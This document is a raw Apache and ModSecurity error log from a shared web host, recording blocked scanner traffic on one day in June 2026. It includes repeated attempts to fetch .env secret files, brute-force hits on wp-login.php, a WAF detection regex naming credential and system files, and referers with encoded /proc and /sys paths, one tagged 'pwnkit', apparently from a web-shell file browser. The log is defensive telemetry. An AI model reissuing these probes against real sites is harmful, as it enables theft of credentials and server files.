[security2:error] [pid 648189:tid 648358] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ch8b-mytodo/.env"] [unique_id "ai3y9lWSojQL4F7upKBgbAAAAIo"] [Sat Jun 13 18:16:54.113397 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.89:48152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:54.113873 2026] [access_compat:error] [pid 646876:tid 646879] [remote 57.141.14.89:48152] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:54.138464 2026] [security2:error] [pid 648189:tid 648368] [client 34.23.213.224:45548] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBgbQAAAJQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.239456 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/Chai/.env"] [unique_id "ai3y9lWSojQL4F7upKBgcQAAAO0"] [Sat Jun 13 18:16:54.248855 2026] [security2:error] [pid 646876:tid 647008] [client 34.23.213.224:45554] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9tyTkdrNlD40tSGr6QAAAAA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.263682 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:54.264104 2026] [access_compat:error] [pid 646876:tid 646954] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvZGV2aWNlL2RldmljZS9pbnB1dC9pbnB1dDUvZGV2aWNlL3Bvd2Vy [Sat Jun 13 18:16:54.302712 2026] [security2:error] [pid 648189:tid 648479] [client 34.23.213.224:45564] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBgdQAAAP0"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.377015 2026] [security2:error] [pid 648189:tid 648467] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/challenge/.env"] [unique_id "ai3y9lWSojQL4F7upKBgegAAAPE"] [Sat Jun 13 18:16:54.464624 2026] [security2:error] [pid 648189:tid 648447] [client 34.23.213.224:45574] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBgggAAAOE"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.495579 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.24:32154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:54.496044 2026] [access_compat:error] [pid 648189:tid 648266] [remote 57.141.14.24:32154] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:54.514424 2026] [security2:error] [pid 648189:tid 648474] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/challenges/.env"] [unique_id "ai3y9lWSojQL4F7upKBghAAAAPg"] [Sat Jun 13 18:16:54.579946 2026] [security2:error] [pid 648189:tid 648243] [remote 209.87.149.26:46927] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kcd-global.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBghwAA6BY"] [Sat Jun 13 18:16:54.627828 2026] [security2:error] [pid 646876:tid 647115] [client 34.23.213.224:45584] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9tyTkdrNlD40tSGr8wAAAGs"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.651621 2026] [security2:error] [pid 648189:tid 648408] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/charts/liveObjects/.env"] [unique_id "ai3y9lWSojQL4F7upKBgjAAAALs"] [Sat Jun 13 18:16:54.776725 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:16:54.778343 2026] [access_compat:error] [pid 646876:tid 647001] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQzL2RldmljZS9zdWJzeXN0ZW0vaW5wdXQ1L3Bvd2Vy [Sat Jun 13 18:16:54.788876 2026] [security2:error] [pid 648189:tid 648413] [client 34.23.213.224:45588] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9lWSojQL4F7upKBgkgAAAMA"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:54.790060 2026] [security2:error] [pid 648189:tid 648421] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/chat-client/.env"] [unique_id "ai3y9lWSojQL4F7upKBgkQAAAMg"] [Sat Jun 13 18:16:54.932447 2026] [security2:error] [pid 648189:tid 648426] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/chiminey/.env"] [unique_id "ai3y9lWSojQL4F7upKBglQAAAM0"] [Sat Jun 13 18:16:54.952065 2026] [security2:error] [pid 646876:tid 647028] [client 34.23.213.224:45596] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y9tyTkdrNlD40tSGr_AAAABQ"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:55.114005 2026] [security2:error] [pid 648189:tid 648389] [client 34.23.213.224:45612] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 224.213.23.34.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "www.nels.pikarthouse.com"] [uri "/wp-login.php"] [unique_id "ai3y91WSojQL4F7upKBgmAAAAKk"], referer: https://www.nels.pikarthouse.com/wp-login.php [Sat Jun 13 18:16:55.152668 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.242.16:34712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:55.153089 2026] [access_compat:error] [pid 646876:tid 646898] [remote 74.7.242.16:34712] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=pwnkit&p=L3Byb2MvNTMxODAzL2F0dHI= [Sat Jun 13 18:16:55.221772 2026] [security2:error] [pid 648189:tid 648401] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ci/.env"] [unique_id "ai3y91WSojQL4F7upKBgngAAALU"] [Sat Jun 13 18:16:55.285957 2026] [security2:error] [pid 648189:tid 648343] [remote 209.87.149.26:46927] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 26.149.87.209.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "kcd-global.com"] [uri "/wp-login.php"] [unique_id "ai3y91WSojQL4F7upKBgoAAAnHg"], referer: https://kcd-global.com/wp-login.php [Sat Jun 13 18:16:55.306638 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDA= [Sat Jun 13 18:16:55.307016 2026] [access_compat:error] [pid 646876:tid 646895] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9ldmVudDEvZGV2aWNlL2RldmljZS9kcml2ZXIvTE5YUFdSQk46MDA= [Sat Jun 13 18:16:55.322543 2026] [security2:error] [pid 648189:tid 648232] [remote 103.127.30.137:35448] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 137.30.127.103.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "mrbradgoreski.com"] [uri "/wp-login.php"] [unique_id "ai3y91WSojQL4F7upKBgogAA6Qw"] [Sat Jun 13 18:16:55.358328 2026] [security2:error] [pid 648189:tid 648368] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/client-app/.env"] [unique_id "ai3y91WSojQL4F7upKBgpAAAAJQ"] [Sat Jun 13 18:16:55.446227 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.51:58130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:55.446648 2026] [access_compat:error] [pid 646876:tid 646960] [remote 57.141.14.51:58130] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:55.456483 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.76:53219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:55.456763 2026] [access_compat:error] [pid 646876:tid 646937] [remote 57.141.14.76:53219] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:55.494983 2026] [security2:error] [pid 648189:tid 648463] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/client/mutual-fund-app/.env"] [unique_id "ai3y91WSojQL4F7upKBgpgAAAO0"] [Sat Jun 13 18:16:55.616303 2026] [security2:error] [pid 646876:tid 646952] [remote 74.7.227.53:42650] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 53.227.7.74.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "northsecuritysystems.com"] [uri "/index.php"] [unique_id "ai3y99yTkdrNlD40tSGsDgAAKUk"], referer: https://northsecuritysystems.com/?product=hik-central-licencia-para-agregar-1-canal-adicional-de-video-hikcentral-p-vss-1ch [Sat Jun 13 18:16:55.633108 2026] [security2:error] [pid 648189:tid 648412] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/client/src/.env"] [unique_id "ai3y91WSojQL4F7upKBgqwAAAL8"] [Sat Jun 13 18:16:55.722924 2026] [security2:error] [pid 646876:tid 646934] [remote 195.250.23.247:57916] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 247.23.250.195.testwprbl.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "176"] [id "900407"] [msg "Wordpress and Joomla Brute RBL: testwprbl.websitewelcome.com"] [hostname "frederickmodelaircraftclub.org"] [uri "/wp-login.php"] [unique_id "ai3y99yTkdrNlD40tSGsEgAAeDc"] [Sat Jun 13 18:16:55.752968 2026] [security2:error] [pid 646876:tid 646928] [remote 17.246.23.133:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 133.23.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3y99yTkdrNlD40tSGsEwAACjE"] [Sat Jun 13 18:16:55.760039 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.88:63116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:16:55.760302 2026] [access_compat:error] [pid 648189:tid 648239] [remote 57.141.14.88:63116] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:16:55.769632 2026] [security2:error] [pid 648189:tid 648372] [client 185.177.72.9:43680] ModSecurity: Access denied with code 406 (phase 2). Pattern match "(?:\\\\b(?:\\\\.(?:ht(?:access|passwd|group)|www_?acl)|global\\\\.asa|httpd\\\\.conf|boot\\\\.ini|web.config)\\\\b|( |^|\\\\.\\\\.)/etc/|/\\\\.(?:history|bash_history|sh_history|env)$)" at REQUEST_FILENAME. [file "/etc/httpd/modsecurity.d/10_asl_rules.conf"] [line "211"] [id "390709"] [rev "30"] [msg "Atomicorp.com WAF Rules: Attempt to access protected file remotely"] [data "/.env"] [severity "CRITICAL"] [hostname "webdisk.dvo.qjd.mybluehost.me"] [uri "/___proxy_subdomain_webdisk/ClientApp/.env"] [unique_id "ai3y91WSojQL4F7upKBgrwAAAJg"] [Sat Jun 13 18:16:55.881868 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMS9zdWJzeXN0ZW0vbWljZS9zdWJzeXN0ZW0vaW5wdXQwL2RldmljZQ== [Sat Jun 13 18:16:55.882299 2026] [access_compat:error] [pid 646876:tid 646950] [remote 74.7.241.11:37276] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: 